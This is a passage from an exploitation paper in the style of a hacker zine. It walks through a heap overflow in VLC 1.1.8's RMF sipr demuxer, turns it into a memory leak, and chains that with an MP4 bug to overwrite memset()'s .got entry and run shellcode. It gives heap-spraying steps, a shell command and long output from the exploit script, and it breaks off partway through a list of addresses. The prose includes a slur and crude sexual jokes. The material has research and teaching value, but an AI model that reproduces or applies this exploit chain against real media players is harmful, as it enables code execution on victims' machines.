if(!p_block) {
/* (1) */
p_block = block_New(..., tk->i_frame_size * tk->i_subpacket_h);
...
tk->p_sipr_packet = p_block;
}
/* (2) */
memcpy(p_block->p_buffer + tk->i_sipr_subpacket_count * tk->i_frame_size,
p_sys->buffer, tk->i_frame_size);
...
/* Checks that all subpackets for this packet have been processed, if not
* returns to the demuxer.
*/
if(++tk->i_sipr_subpacket_count < tk->i_subpacket_h)
return;
...
/* All subpackets arrived; send data to all consumers. */
es_out_Send(p_demux->out, tk->p_es, p_block);
}
For now assume that 'block_New()', called at (1), is a simple call to
'malloc()'. Obviously, setting 'i_subpacket_h' to 0 will result in a call
very similar to 'malloc(0)'. As we have mentioned in our main jemalloc
paper, a call to 'malloc(0)' returns a region of the smallest size class.
If 'i_frame_size' is bigger than the minimal space reserved by 'malloc(0)',
then the call to 'memcpy()' at (2) will result in neighboring heap
allocations being corrupted (that simple ;p).
----[ 4.4 - 'p_blocks' all over the place
Since we have successfully identified the vulnerability, it is time
to search for possible target structures. Before continuing, we must
have a look at that 'block_t' structure used to buffer the subpackets;
its definition can be found at include/vlc_block.h:101.
typedef void (*block_free_t) (block_t *);
struct block_t {
block_t *p_next;
uint32_t i_flags;
mtime_t i_pts;
mtime_t i_dts;
mtime_t i_length;
unsigned i_nb_samples;
int i_rate;
size_t i_buffer;
uint8_t *p_buffer;
block_free_t pf_release;
};
I know what you're probably thinking; stop staring at that function
pointer ;) Yes we can very easily overflow it and consequently gain direct
code execution. Nevertheless, we decided not to take the easy road;
after all, we are only interested in forcing VLC leak memory contents
back to us. Assume function pointers have not been discovered yet ;p
The structure still looks quite promising; notice how 'i_buffer', the
size of the audio data pointed by the 'p_buffer' pointer, lies before
'p_buffer' itself... But what exactly is that 'p_buffer' anyway? When
and how is it allocated?
Here's another interesting story regarding audio blocks. Having a look
at src/misc/block.c, line 99, in function 'block_Alloc()' reveals that
block headers always lie before the data pointed by 'p_buffer'. When,
for example, the user requests a block of 16 bytes, 'block_Alloc()' will
add 16 to the metadata overhead, say N bytes, thus eventually allocating
16 + N bytes. The 'p_data' pointer will then set to point to the start
of the actual buffer, right after the 'block_t' header as depicted below.
p_buffer
.-----.
| |
| v
.---------.----------------------.
| block_t | ... audio data ... |
'---------'----------------------'
The relevant code is shown below:
struct block_sys_t {
block_t self;
size_t i_allocated_buffer;
uint8_t p_allocated_buffer[];
};
...
#define BLOCK_ALIGN 16
...
#define BLOCK_PADDING 32
...
block_t *block_Alloc(size_t i_size) {
...
block_sys_t *p_sys;
uint8_t *buf;
#define ALIGN(x) (((x) + BLOCK_ALIGN - 1) & ~(BLOCK_ALIGN - 1))
/* (1) */
const size_t i_alloc = sizeof(*p_sys) + BLOCK_ALIGN +
(2 * BLOCK_PADDING) + ALIGN(i_size);
p_sys = malloc(i_alloc);
...
/* 'buf' is assigned to 'block_t->p_buffer' by 'block_Init()' */
buf = (void *)ALIGN((uintptr_t)p_sys->p_allocated_buffer);
buf += BLOCK_PADDING;
block_Init(&p_sys->self, buf, i_size);
...
return &p_sys->self;
}
Taking a look back at 'DemuxAudioSipr()', we can see that if
'i_subpacket_h' is set to 0, then 'block_New()', a macro that is
substituted with 'block_Alloc()', results in the latter receiving a
value for 'i_size' equal to 0. Setting 'i_size' to 0 at (1), results in
'i_alloc' being assigned the value 136. Now do the math; 136 is slightly
larger than 128 so, it will be serviced by jemalloc's bin for 192-byte
regions. 192 - 136 = 56; 56 is the size margin for the parameter passed
to 'block_Alloc()'; for the blocks to be placed one next to the other,
they must reside in the same size class, so, we must make sure the total
length of the subpackets does not exceed 56. For a packet containing
two subpackets, a wise choice is to set 'i_frame_size' to 20, so that 2 *
20 (< 56) plus the overhead is also serviced by bin-192. Unfortunately,
'i_frame_size' cannot take arbitrary values; it can only get a set of
predefined ones with 20 being the smallest.
Beautiful! Since 'block_t' allocations are always accompanied by their
buffer, it means that the 'memcpy()' call at (2) in 'DemuxAudioSipr()',
when writing past the boundaries of the victim buffer, may actually
overwrite the header of an adjacent audio block; its 'p_buffer', its
'i_buffer' and even its function pointer (but let's ignore this fact for
now; abusing the function pointer is trivial and we decided not to deal
with it).
Now, a few more things to note:
1 - We know that if one packet has two, for example, subpackets, then
its 'p_block' will be alive until all subpackets have been processed;
when they are no longer needed, they will be freed resulting in a small
hole in the heap. Obviously, the lifetime of a 'p_block' is directly
related to the number of its subpackets.
2 - Checking at how 'DemuxAudioSipr()' works, reveals that a packet
with 0 subpackets is treated as if it had 1 subpacket. The 'memcpy()'
call at (2) will overflow the adjacent heap regions and then, when its
processing has finished, the packet will be freed by 'es_out_Send()'.
By combining the facts above, turns out we can:
1 - Use the RMF metadata (MDPR chunks) to define two tracks. Both
tracks must use the sipr audio codec. Each packet of the first must
have 2 subpackets and each packet of the second 0 subpackets for the
vulnerability to be triggered.
2 - Force VLC play the first subpacket of a packet of the first track. A
new 'block_t' will be allocated. In the diagram below, 't1s1' stands for
'track 1 subpacket 1'.
.---------.-------.
| block_t | t1s1 |
'---------'-------'
3 - Force VLC to play the packet of the second track; the one that has
0 subpackets. A new 'block_t' will eventually be allocated. We have
to specially prepare the heap so that the new block is placed directly
behind the one initialized at step 2.
.---------.------..---------.------.
| block_t | t2s0 || block_t | t1s1 |
'---------'------''---------'------'
An overflow will take place thus overwriting the block header of the
block allocated in the previous step. We are interested in overwriting
the 'p_buffer' to make it point to a memory region of our choice and
'i_buffer' to the number of bytes we want to be leaked.
4 - Feed VLC with the second subpacket for the first track. Since the
first subpacket was processed at step 2, the old 'block_t' will be
used. If everything goes fine, its 'p_buffer' will point where we set
it to and 'i_buffer' will contain a size of our choice. The 'memcpy()'
call at (2) in 'DemuxAudioSipr()' will write 'i_frame_size' bytes at our
chosen address thus trashing the memory a bit, but when 'es_out_Send()'
is called, 'i_buffer' bytes starting at the address 'p_buffer' points to
will be sent to the soundcard or any output stream requested by the user!
Note: Well yeah it wasn't that simple... 'es_out_Send()' calls a hell of
other functions to process the audio blocks, break them down in smaller
blocks, forward them to the output streams and so on. Debugging this
process was a very tiresome task; it became apparent that the target,
the overflown 'block_t' header had to obey to certain rules so that
it wasn't discarded. For example, all packets carry a timestamp;
the timestamp of the overflown block must be within a range of valid
timestamps, otherwise it's considered stale and dropped!
The following logs correspond to one of our early tests; we used a
specially crafted .rmf file to leak 65k of data starting at the binary's
.data section.
[hk@lsd ~/src/vlc_exp/leak]$ cat youporn.sh
vlc leak.rmf :sout='#std{access=file,mux=raw,dst=leaked_data.rmf}' \
vlc://quit
[hk@lsd ~/src/vlc_exp/leak]$ source youporn.sh
VLC media player 1.1.8 The Luggage (revision exported)
...
[hk@lsd ~/src/vlc_exp/leak]$ ls -lah leaked_data.rmf
-rwxr-xr-x 1 hk hk 128K Mar 31 22:27 leaked_data.rmf
We got back 128k which is about twice as much as we requested. In fact,
the useful data is 65k; it just happens that it's written in the output
file twice (minor detail related to block buffering).
Careful readers would have probably noticed that we took for granted that
the victim block will be allocated right before the target. Such a result
can easily be achieved. The technique we use in our exploit is very
similar to one of the techniques used in browser exploitation. Briefly,
we create several tracks (more than 2000) holding packets of 2 subpackets
of 20 bytes each so that all packets end up being allocated in bin-192. We
then force the release of two consecutive allocations thus creating two
adjacent holes in the heap. Then, by following what was said so far,
we can achieve a reliable information disclosure. Our tests show that
we can repeat this process around 40 times before VLC crashes (yet this
is only statistics, beautiful Greek statistics ;p).
----[ 4.5 - RMF summary
It's now time to sum up the information leak process. For a successful
information disclosure, the attacker must perform the following steps:
1 - Create 2000 + 1 + 1 tracks. 2000 will be used for heap spraying,
1 will act as the target and 1 as the victim. The lots of allocations
will probably result in a new magazine being populated thus guaranteeing
that new allocations will be returned in the reverse memory order.
2 - Force the deallocation of two packets belonging to two consecutive
tracks. Two adjacent holes will be created. The packet lower in memory
must be freed first.
3 - Play the first subpacket of the target track. The hole in the higher
address will be assigned to the new block.
4 - Play the packet of the victim track. The new block will be given the
lower heap hole and the overflow will reach the block allocated at step 3.
5 - Play the second subpacket of the target track. The memory we want
to read will be trashed by 20 bytes (= frame size) and then returned in
the output stream.
6 - Watch the epic faggotry evolving in front of your eyes ;)
--[ 5 - Building a reliable exploit
----[ 5.1 - Overall process
Building a reliable local exploit involves combining all the facts
and finding a way to locate, within the target process, all pieces of
information required to achieve code execution. Remember that we don't
want the user having to manually find any return addresses, return
locations and so on. The exploit must be autonomous and self contained;
all required information must be automatically detected.
When it comes to the MP4 vulnerability, things are pretty straightforward;
we just need to figure out where 'p_root' is and then free it.
Additionally, we need to figure out what value 'p_moov' must be overwritten
with (i.e. the address of an appropriate .got entry). MP4 exploitation is
100% reliable; once we have found the values of those two parameters, code
execution is matter of feeding VLC with a specially crafted MP4 file. For
more information the reader can have a look at the attached source code and
more specifically at 'mp4.py'; a Python class used to create those special
MP4 files that can crash VLC as well as innocent ones that cause no
problems. The latter are used to force VLC load 'libmp4_plugin.so' during
the very first step of the exploitation process.
Briefly the exploit we developed performs the following steps:
1 - Forces VLC to play an innocent MP4 file so that the target plugin
is loaded.
2 - Parses the ELF headers of the VLC binary in order to locate the
absolute address of its .got section.
3 - Uses a specially crafted RMF file to leak 65k starting at the address
of the binary's .got.
4 - The second entry in the .got table points to the linkmap; a linked
list that keeps track of the loaded libraries populated by the loader
on each call to 'dlopen()'. Each entry holds the name of a library, the
address it's mapped at and so on. We proceed by leaking 1MB of data
starting from the address of the first linkmap entry.
5 - Step 4 is repeated until 'libmp4_plugin.so' is detected in the leaked
data. VLC loads more than 100 libraries; there's no need to locate them
all. Once we got the MP4 plugin entry, we can figure out where exactly
it has been loaded.
6 - By statically inspecting the MP4 plugin and by using the information
collected at step 5, we can find the absolute address of its .got. The MP4
vulnerability is triggered within this .so; consequently the overwrite
must take place within its local .got.
7 - The relocation entries, the string table and the symbol table
indicated by the .dynamic section of the MP4 plugin can be properly
combined to figure out what .got entry corresponds to what symbol name. We
choose to overwrite the .got entry for 'memset()' (more on this later).
The absolute address of the 'memset()' .got entry is then calculated
and used as the value that will be written in 'p_moov'.
8 - A set of possible addresses for 'p_root' is created by leaking and
analyzing specific heap regions. This step is further analyzed later.
9 - A final MP4 file is created. The MP4 file frees all 'p_root'
candidates, uses 'chpl' boxes containing the shellcode to force jemalloc
give the original 'p_root' region back and lands VLC on the 'unlink()'
style pointer exchange. The address of 'p_root', which now contains user
supplied data, is written in the .got entry of 'memset()'.
10 - Shellcode is executed, much rejoicing is had ;)
So why did we choose to hook 'memset()'? Turns out that once the MP4 file
parsing has finished and the 'unlink()' tyle code has been triggered,
VLC calls 'MP4_BoxDumpStructure()' to print the layout of the MP4 file
(this is always done by default; no verbose flags required). Since we
have corrupted the boxes, 'MP4_BoxDumpStructure()' may access invalid
memory and thus segfault. To avoid such a side effect, we have to hook
the first external function call. As shown below, this call corresponds to
'memset()' which suits us just fine ;)
static void __MP4_BoxDumpStructure(..., MP4_Box_t *p_box, ...)
{
MP4_Box_t *p_child;
if( !i_level )
{
...
}
else
{
...
memset(str, ' ', sizeof(str));
}
...
p_child = p_box->p_first;
while(p_child)
{
__MP4_BoxDumpStructure(..., p_child, ...);
p_child = p_child->p_next;
}
}
----[ 5.2 - Detecting 'p_root' address candidates
At first we thought that this would be the easier part of the exploitation
process; it turned out that it was actually the most difficult. Our first
idea was to play an MP4 file several times and then leak memory in the
hope that certain 'MP4_Box_t' signatures may be present somewhere in the
heap. Unfortunately, the 64-byte allocations used by the MP4 plugin, are
later used by the RMF parser thus destroying any useful evidence. After
long nights and lots of tests, we came up with the following technique
which turned out to be successful:
Briefly, we do the following:
1 - We leak 65k of data by overwriting 'i_buffer' and leaving 'p_buffer'
at its present value. This way we read memory contents starting from
the address that the victim 'p_block' is located.
2 - As we have already discussed, the 'p_blocks' created by our RMF file
are 192 bytes long, so, they lie within runs serviced by bin-192. Leaking
data from where 'p_buffer' points, results in neighboring runs being
leaked as well.
3 - In our jemalloc article we mentioned that (a) runs are PAGE_SIZE
aligned and (b) run headers start with a pointer to the corresponding
bin. We analyze the leaked data and try to locate PAGE_SIZE aligned
addresses that start with something that looks like a bin pointer
(0x0804yyyy, some bytes after the main binary's .bss section).
4 - We leak 65k starting from the binary's .bss section. The bins array
of the main arena lies somewhere around. We analyze the data and locate
the address of bin-64.
5 - We leak about 7-8MB of commonly used heap regions. Since we now
know the address of bin-64, we try to locate all runs that start with
a pointer pointing at it, that is, runs that contain 64byte regions.
6 - All regions in these runs will be freed by our MP4 file; 'p_root'
is probably one of them.
--[ 6 - Demonstration
An art of exploitation paper serves nothing without the proper show off ;)
This section was specially prepared to be hard sex for your eyes. We were
very careful and, in fact, we spent many hours trying to figure out the
leetest shellcode to use, but we couldn't come up with something more
perfect than 'int3'.
[hk@lsd ~]$ gdb -q vlc
Reading symbols from xxx/bin/vlc...done.
(gdb) run --rc-host 127.0.0.1:8080
Starting program: xxx/bin/vlc --rc-host 127.0.0.1:8080
...
Let's run the exploit. The actual output may differ since the logs shown
below do not correspond to the latest version of our code (oh and by
the way, we are not fucking Python experts).
[hk@lsd ~]$ python main.py
usage: main.py <vlc_install_prefix> [<rc_port>]
[hk@lsd ~]$ python main.py xxx/ 8080
[~] Forcing VLC to load libmp4_plugin.so
[~] Playing MP4 file 1 times
.ok
[~] .got address for VLC binary is 0x0804ad60
[~] .got address for MP4 plugin is 0x00025e1c
[~] Index of memset() in MP4's .got is 35
[~] Requesing memory leak of .got
[~] Leaking 65535 bytes 0x0804ad60-0x0805ad5f
[~] Summary of our memory view
001 0x0804ad60-0x0805ad4a (65515 bytes)
[~] Got 65515 bytes of useful data
[~] Saving .got data in got.bin
[~] Guessed linkmap address is 0x28088000
[~] Requesting memory leak of linkmap
[~] Leaking 4194304 bytes 0x28086000-0x28486000
[~] Summary of our memory view
001 0x0804ad60-0x0805ad4a (65515 bytes)
002 0x28086000-0x28485feb (4194284 bytes)
[~] Got 4194284 bytes of useful data
[~] Saving linkmap partial data in linkmap-0x28086000.bin
001 0x08048000-0x00000000 unknown-0x08048000-0x00000000
002 0x2808e000-0x2817a084 libc.so.7
003 0x281a5000-0x281b95b4 libvlc.so.7
004 0x281bd000-0x28286234 libvlccore.so.4
005 0x282a7000-0x282e3c14 libdbus-1.so.3
006 0x282ed000-0x282f0814 librt.so.1
007 0x282f2000-0x28305a84 libm.so.5
008 0x2830c000-0x2831d334 libthr.so.3
009 0x28321000-0x28327d44 libintl.so.9
010 0x2832a000-0x28343eb4 libiconv.so.3
011 0x2842c000-0x2842ea84 liboss_plugin.so
012 0x28430000-0x28431734 libmemcpymmxext_plugin.so
013 0x28433000-0x284401b4 libaccess_bd_plugin.so
014 0x28442000-0x28443764 libaccess_mmap_plugin.so
015 0x28445000-0x28447c64 libfilesystem_plugin.so
016 0x2844a000-0x2844bc24 libdecomp_plugin.so
017 0x2844d000-0x2844ebd4 libstream_filter_rar_plugin.so
018 0x28450000-0x284563e4 libzip_plugin.so
019 0x28458000-0x28464a04 libz.so.5
020 0x2846a000-0x2846b244 libstream_filter_record_plugin.so
021 0x2846d000-0x2847e994 libplaylist_plugin.so
022 0x28482000-0x28483414 libxml_plugin.so
023 0x29300000-0x29402fb4 libxml2.so.5
024 0x28485000-0x2848a9c4 libhotkeys_plugin.so
025 0x2848d000-0x2848e384 libinhibit_plugin.so
026 0x28490000-0x28490fb4 libsignals_plugin.so
027 0x28493000-0x28494bd4 libglobalhotkeys_plugin.so
028 0x28497000-0x284982c4 libxcb-keysyms.so.1
029 0x2849a000-0x284af254 libxcb.so.2
030 0x284b2000-0x284b3754 libXau.so.6
031 0x284b5000-0x284b7b14 libXdmcp.so.6
032 0x284ba000-0x284ba574 libpthread-stubs.so.0
033 0x284bc000-0x284c43f4 liboldrc_plugin.so
034 0x284c8000-0x284e9da4 libmp4_plugin.so
[~] MP4 plugin is mmap'ed at 0x284c8000-0x284e9da4
[~] Absolute .got address for MP4 plugin at 0x284ede1c
[~] .got address of memset() is 0x284edea8
[~] .bss address for VLC binary is 0x0804adec
[~] Searching for bin[] address candidates
[~] Leaking 131070 bytes from current location
[~] Got 131050 bytes of useful data
0x0804c0a0...ok
[~] Leaking 65535 bytes 0x0804adec-0x0805adeb
[~] Summary of our memory view
001 0x0804ad60-0x0805ad4a (65515 bytes)
002 0x28086000-0x28485feb (4194284 bytes)
003 0x0804adec-0x0805add6 (65515 bytes)
[~] Got 65515 bytes of useful data
[~] bin-64 runcur at 0x2891a000, bin address 0x0804bfd8
[~] Playing MP4 file 16 times
................ok
[~] Leaking 7340032 bytes 0x28700000-0x28e00000
[~] Summary of our memory view
001 0x0804ad60-0x0805ad4a (65515 bytes)
002 0x28086000-0x28485feb (4194284 bytes)
003 0x0804adec-0x0805add6 (65515 bytes)
004 0x28700000-0x28dfffeb (7340012 bytes)
[~] Got 7340012 bytes of useful data
[~] Trying to locate target runs for bin-64 at 0x0804c0a0
64byte region run at 0x28912000
64byte region run at 0x28919000
64byte region run at 0x2891a000
64byte region run at 0x28933000
64byte region run at 0x289fc000
64byte region run at 0x289fd000
64byte region run at 0x289fe000
64byte region run at 0x28b32000
64byte region run at 0x28b33000
64byte region run at 0x28b34000
64byte region run at 0x28b36000
64byte region run at 0x28b37000
64byte region run at 0x28b38000
64byte region run at 0x28b39000
64byte region run at 0x28b3a000
64byte region run at 0x28b3b000
64byte region run at 0x28bac000
64byte region run at 0x28bad000
64byte region run at 0x28bae000
64byte region run at 0x28baf000
[~] Constructing final MP4 payload
[~] Will free the following memory regions
0x28912080...0x289120c0...0x28912100...0x28912140...0x28912180...
0x289121c0...0x28912200...0x28912240...0x28912280...0x289122c0...
0x28912300...0x28912340...0x28912380...0x289123c0...0x28912400...
0x28912440...0x28912480...0x289124c0...0x28912500...0x28912540...
0x28912580...0x289125c0...0x28912600...0x28912640...0x28912680...
0x289126c0...0x28912700...0x28912740...0x28912780...0x289127c0...
0x28912800...0x28912840...0x28912880...0x289128c0...0x28912900...
0x28912940...0x28912980...0x289129c0...0x28912a00...0x28912a40...
0x28912a80...0x28912ac0...0x28912b00...0x28912b40...0x28912b80...
0x28912bc0...0x28912c00...0x28912c40...0x28912c80...0x28912cc0...
0x28912d00...0x28912d40...0x28912d80...0x28912dc0...0x28912e00...
0x28912e40...0x28912e80...0x28912ec0...0x28912f00...0x28912f40...
0x28912f80...0x28912fc0...0x28919080...0x289190c0...0x28919100...
0x28919140...0x28919180...0x289191c0...0x28919200...0x28919240...
0x28919280...0x289192c0...0x28919300...0x28919340...0x28919380...
0x289193c0...0x28919400...0x28919440...0x28919480...0x289194c0...
0x28919500...0x28919540...0x28919580...0x289195c0...0x28919600...
0x28919640...0x28919680...0x289196c0...0x28919700...0x28919740...
0x28919780...0x289197c0...0x28919800...0x28919840...0x28919880...
0x289198c0...0x28919900...0x28919940...0x28919980...0x289199c0...
0x28919a00...0x28919a40...0x28919a80...0x28919ac0...0x28919b00...
0x28919b40...0x28919b80...0x28919bc0...0x28919c00...0x28919c40...
0x28919c80...0x28919cc0...0x28919d00...0x28919d40...0x28919d80...
0x28919dc0...0x28919e00...0x28919e40...0x28919e80...0x28919ec0...
0x28919f00...0x28919f40...0x28919f80...0x28919fc0...0x2891a080...
0x2891a0c0...0x2891a100...0x2891a140...0x2891a180...0x2891a1c0...
0x2891a200...0x2891a240...0x2891a280...0x2891a2c0...0x2891a300...
0x2891a340...0x2891a380...
0x2891a3c0...0x2891a400...0x2891a440...
0x2891a480...0x2891a4c0...0x2891a500...0x2891a540...0x2891a580...
0x2891a5c0...0x2891a600...0x2891a640...0x2891a680...0x2891a6c0...
0x2891a700...0x2891a740...0x2891a780...0x2891a7c0...0x2891a800...
0x2891a840...0x2891a880...0x2891a8c0...0x2891a900...0x2891a940...
0x2891a980...0x2891a9c0...0x2891aa00...0x2891aa40...0x2891aa80...
0x2891aac0...0x2891ab00...0x2891ab40...0x2891ab80...0x2891abc0...
0x2891ac00...0x2891ac40...0x2891ac80...0x2891acc0...0x2891ad00...
0x2891ad40...0x2891ad80...0x2891adc0...0x2891ae00...0x2891ae40...
0x2891ae80...0x2891aec0...0x2891af00...0x2891af40...0x2891af80...
0x2891afc0...0x28933080...0x289330c0...0x28933100...0x28933140...
0x28933180...0x289331c0...0x28933200...0x28933240...0x28933280...
0x289332c0...0x28933300...0x28933340...0x28933380...0x289333c0...
0x28933400...0x28933440...0x28933480...0x289334c0...0x28933500...
0x28933540...0x28933580...0x289335c0...0x28933600...0x28933640...
0x28933680...0x289336c0...0x28933700...0x28933740...0x28933780...
0x289337c0...0x28933800...0x28933840...0x28933880...0x289338c0...
0x28933900...0x28933940...0x28933980...0x289339c0...0x28933a00...
0x28933a40...0x28933a80...0x28933ac0...0x28933b00...0x28933b40...
0x28933b80...0x28933bc0...0x28933c00...0x28933c40...0x28933c80...
0x28933cc0...0x28933d00...0x28933d40...0x28933d80...0x28933dc0...
0x28933e00...0x28933e40...0x28933e80...0x28933ec0...0x28933f00...
0x28933f40...0x28933f80...0x28933fc0...0x289fc080...0x289fc0c0...
0x289fc100...0x289fc140...0x289fc180...0x289fc1c0...0x289fc200...
0x289fc240...0x289fc280...0x289fc2c0...0x289fc300...0x289fc340...
0x289fc380...0x289fc3c0...0x289fc400...0x289fc440...0x289fc480...
0x289fc4c0...0x289fc500...0x289fc540...0x289fc580...0x289fc5c0...
0x289fc600...0x289fc640...0x289fc680...0x289fc6c0...0x289fc700...
0x289fc740...0x289fc780...0x289fc7c0...0x289fc800...0x289fc840...
0x289fc880...0x289fc8c0...0x289fc900...0x289fc940...0x289fc980...
0x289fc9c0...0x289fca00...0x289fca40...0x289fca80...0x289fcac0...
0x289fcb00...0x289fcb40...0x289fcb80...0x289fcbc0...0x289fcc00...
0x289fcc40...0x289fcc80...0x289fccc0...0x289fcd00...0x289fcd40...
0x289fcd80...0x289fcdc0...0x289fce00...0x289fce40...0x289fce80...
0x289fcec0...0x289fcf00...0x289fcf40...0x289fcf80...0x289fcfc0...
0x289fd080...0x289fd0c0...0x289fd100...0x289fd140...0x289fd180...
0x289fd3c0...0x289fd400...0x289fd440...0x289fd480...0x289fd4c0...
0x289fd500...0x289fd540...0x289fd580...0x289fd5c0...0x289fd600...
0x289fd640...0x289fd680...0x289fd6c0...0x289fd700...0x289fd740...
0x289fd780...0x289fd7c0...0x289fd800...0x289fd840...0x289fd880...
0x289fd8c0...0x289fd900...0x289fd940...0x289fd980...0x289fd9c0...
0x289fda00...0x289fda40...0x289fda80...0x289fdac0...0x289fdb00...
0x289fdb40...0x289fdb80...0x289fdbc0...0x289fdc00...0x289fdc40...
0x289fdc80...0x289fdcc0...0x289fdd00...0x289fdd40...0x289fdd80...
0x289fddc0...0x289fde00...0x289fde40...0x289fde80...0x289fdec0...
0x289fdf00...0x289fdf40...0x289fdf80...0x289fdfc0...0x289fe080...
0x289fe0c0...0x289fe100...0x289fe140...0x289fe180...0x289fe1c0...
0x289fe200...0x289fe240...0x289fe280...0x289fe2c0...0x289fe300...
0x289fe340...0x289fe380...0x289fe3c0...0x289fe400...0x289fe440...
0x289fe480...0x289fe4c0...0x289fe500...0x289fe540...0x289fe580...
0x289fe5c0...0x289fe600...0x289fe640...0x289fe680...0x289fe6c0...
0x289fe700...0x289fe740...0x289fe780...0x289fe7c0...0x289fe800...
0x289fe840...0x289fe880...0x289fe8c0...0x289fe900...0x289fe940...
0x289fe980...0x289fe9c0...0x289fea00...0x289fea40...0x289fea80...
0x289feac0...0x289feb00...0x289feb40...0x289feb80...0x289febc0...
0x289fec00...0x289fec40...0x289fec80...0x289fecc0...0x289fed00...
0x289fed40...0x289fed80...0x289fedc0...0x289fee00...0x289fee40...
0x289fee80...0x289feec0...0x289fef00...0x289fef40...0x289fef80...
0x289fefc0...0x28b32080...0x28b320c0...0x28b32100...0x28b32140...
0x28b32180...0x28b321c0...0x28b32200...0x28b32240...0x28b32280...
0x28b322c0...0x28b32300...0x28b32340...0x28b32380...0x28b323c0...
0x28b32400...0x28b32440...0x28b32480...0x28b324c0...0x28b32500...
0x28b32540...0x28b32580...0x28b325c0...0x28b32600...0x28b32640...
0x28b32680...0x28b326c0...0x28b32700...0x28b32740...0x28b32780...
0x28b327c0...0x28b32800...0x28b32840...0x28b32880...0x28b328c0...
0x28b32900...0x28b32940...0x28b32980...0x28b329c0...0x28b32a00...
0x28b32a40...0x28b32a80...0x28b32ac0...0x28b32b00...0x28b32b40...
0x28b32b80...0x28b32bc0...0x28b32c00...0x28b32c40...0x28b32c80...
0x28b32cc0...0x28b32d00...0x28b32d40...0x28b32d80...0x28b32dc0...
0x28b32e00...0x28b32e40...0x28b32e80...0x28b32ec0...0x28b32f00...
0x28b32f40...0x28b32f80...0x28b32fc0...0x28b33080...0x28b330c0...
0x28b33100...0x28b33140...0x28b33180...0x28b331c0...0x28b33200...
0x28b33240...0x28b33280...0x28b332c0...0x28b33300...0x28b33340...
0x28b33380...0x28b333c0...0x28b33400...0x28b33440...0x28b33480...
0x28b334c0...0x28b33500...0x28b33540...0x28b33580...0x28b335c0...
0x28b33600...0x28b33640...0x28b33680...0x28b336c0...0x28b33700...
0x28b33740...0x28b33780...0x28b337c0...0x28b33800...0x28b33840...
0x28b33880...0x28b338c0...0x28b33900...0x28b33940...0x28b33980...
0x28b339c0...0x28b33a00...0x28b33a40...0x28b33a80...0x28b33ac0...
0x28b33b00...0x28b33b40...0x28b33b80...0x28b33bc0...0x28b33c00...
0x28b33c40...0x28b33c80...0x28b33cc0...0x28b33d00...0x28b33d40...
0x28b33d80...0x28b33dc0...0x28b33e00...0x28b33e40...0x28b33e80...
0x28b33ec0...0x28b33f00...0x28b33f40...0x28b33f80...0x28b33fc0...
0x28b34080...0x28b340c0...0x28b34100...0x28b34140...0x28b34180...
0x28b341c0...0x28b34200...0x28b34240...0x28b34280...0x28b342c0...
0x28b34300...0x28b34340...0x28b34380...0x28b343c0...0x28b34400...
0x28b34440...0x28b34480...0x28b344c0...0x28b34500...0x28b34540...
0x28b34580...0x28b345c0...0x28b34600...0x28b34640...0x28b34680...
0x28b346c0...0x28b34700...0x28b34740...0x28b34780...0x28b347c0...
0x28b34800...0x28b34840...0x28b34880...0x28b348c0...0x28b34900...
0x28b34940...0x28b34980...0x28b349c0...0x28b34a00...0x28b34a40...
0x28b34a80...0x28b34ac0...0x28b34b00...0x28b34b40...0x28b34b80...
0x28b34bc0...0x28b34c00...0x28b34c40...0x28b34c80...0x28b34cc0...
0x28b34d00...0x28b34d40...0x28b34d80...0x28b34dc0...0x28b34e00...
0x28b34e40...0x28b34e80...0x28b34ec0...0x28b34f00...0x28b34f40...
0x28b34f80...0x28b34fc0...0x28b36080...0x28b360c0...0x28b36100...
0x28b36140...0x28b36180...0x28b361c0...0x28b36200...0x28b36240...
0x28b36280...0x28b362c0...0x28b36300...0x28b36340...0x28b36380...
0x28b363c0...0x28b36400...0x28b36440...0x28b36480...0x28b364c0...
0x28b36500...0x28b36540...0x28b36580...0x28b365c0...0x28b36600...
0x28b36640...0x28b36680...0x28b366c0...0x28b36700...0x28b36740...
0x28b36780...0x28b367c0...0x28b36800...0x28b36840...0x28b36880...
0x28b368c0...0x28b36900...0x28b36940...0x28b36980...0x28b369c0...
0x28b36a00...0x28b36a40...0x28b36a80...0x28b36ac0...0x28b36b00...
0x28b36b40...0x28b36b80...0x28b36bc0...0x28b36c00...0x28b36c40...
0x28b36c80...0x28b36cc0...0x28b36d00...0x28b36d40...0x28b36d80...
0x28b36dc0...0x28b36e00...0x28b36e40...0x28b36e80...0x28b36ec0...
0x28b36f00...0x28b36f40...0x28b36f80...0x28b36fc0...0x28b37080...
0x28b370c0...0x28b37100...0x28b37140...0x28b37180...0x28b371c0...
0x28b37200...0x28b37240...0x28b37280...0x28b372c0...0x28b37300...
0x28b37340...0x28b37380...0x28b373c0...0x28b37400...0x28b37440...
0x28b37480...0x28b374c0...0x28b37500...0x28b37540...0x28b37580...
0x28b375c0...0x28b37600...0x28b37640...0x28b37680...0x28b376c0...
0x28b37700...0x28b37740...0x28b37780...0x28b377c0...0x28b37800...
0x28b37840...0x28b37880...0x28b378c0...0x28b37900...0x28b37940...
0x28b37980...0x28b379c0...0x28b37a00...0x28b37a40...0x28b37a80...
0x28b37ac0...0x28b37b00...0x28b37b40...0x28b37b80...0x28b37bc0...
0x28b37c00...0x28b37c40...0x28b37c80...0x28b37cc0...0x28b37d00...
0x28b37d40...0x28b37d80...0x28b37dc0...0x28b37e00...0x28b37e40...
0x28b37e80...0x28b37ec0...0x28b37f00...0x28b37f40...0x28b37f80...
0x28b37fc0...0x28b38080...0x28b380c0...0x28b38100...0x28b38140...
0x28b38180...0x28b381c0...0x28b38200...0x28b38240...0x28b38280...
0x28b382c0...0x28b38300...0x28b38340...0x28b38380...0x28b383c0...
0x28b38400...0x28b38440...0x28b38480...0x28b384c0...0x28b38500...
0x28b38540...0x28b38580...0x28b385c0...0x28b38600...0x28b38640...
0x28b38680...0x28b386c0...0x28b38700...0x28b38740...0x28b38780...
0x28b387c0...0x28b38800...0x28b38840...0x28b38880...0x28b388c0...
0x28b38900...0x28b38940...0x28b38980...0x28b389c0...0x28b38a00...
0x28b38a40...0x28b38a80...0x28b38ac0...0x28b38b00...0x28b38b40...
0x28b38b80...0x28b38bc0...0x28b38c00...0x28b38c40...0x28b38c80...
0x28b38cc0...0x28b38d00...0x28b38d40...0x28b38d80...0x28b38dc0...
0x28b38e00...0x28b38e40...0x28b38e80...0x28b38ec0...0x28b38f00...
0x28b38f40...0x28b38f80...0x28b38fc0...0x28b39080...0x28b390c0...
0x28b39100...0x28b39140...0x28b39180...0x28b391c0...0x28b39200...
0x28b39240...0x28b39280...0x28b392c0...0x28b39300...0x28b39340...
0x28b39380...0x28b393c0...0x28b39400...0x28b39440...0x28b39480...
